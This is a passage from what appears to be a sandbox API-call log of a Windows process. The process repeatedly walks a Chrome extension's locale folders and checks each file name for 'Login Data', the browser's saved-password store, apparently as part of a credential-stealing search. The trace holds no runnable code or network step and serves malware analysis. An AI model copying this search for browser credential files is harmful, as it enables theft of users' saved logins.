lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.621] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.621] lstrlenA (lpString="no") returned 2 [0056.621] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.621] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" [0056.621] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*" [0056.621] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\no\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.621] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.621] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.621] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.621] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.621] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.621] lstrlenA (lpString="pl") returned 2 [0056.621] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.621] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" [0056.622] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*" [0056.622] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.622] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.622] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.622] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.622] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.622] lstrlenA (lpString="pt_BR") returned 5 [0056.622] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.622] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" [0056.622] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*" [0056.622] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.622] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.622] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.622] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.622] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.622] lstrlenA (lpString="pt_PT") returned 5 [0056.622] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x2dc3f8 [0056.622] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" [0056.622] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT" [0056.622] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*" [0056.622] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.623] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.623] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.623] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.623] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.623] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.623] lstrlenA (lpString="ro") returned 2 [0056.623] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.623] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.623] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" [0056.623] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro" [0056.623] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*" [0056.623] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.623] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.623] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.623] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.623] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.623] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.623] lstrlenA (lpString="ru") returned 2 [0056.623] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.623] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.623] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" [0056.623] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru" [0056.623] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*" [0056.623] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.623] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.623] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.624] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.624] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.624] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.624] lstrlenA (lpString="sk") returned 2 [0056.624] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.624] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: 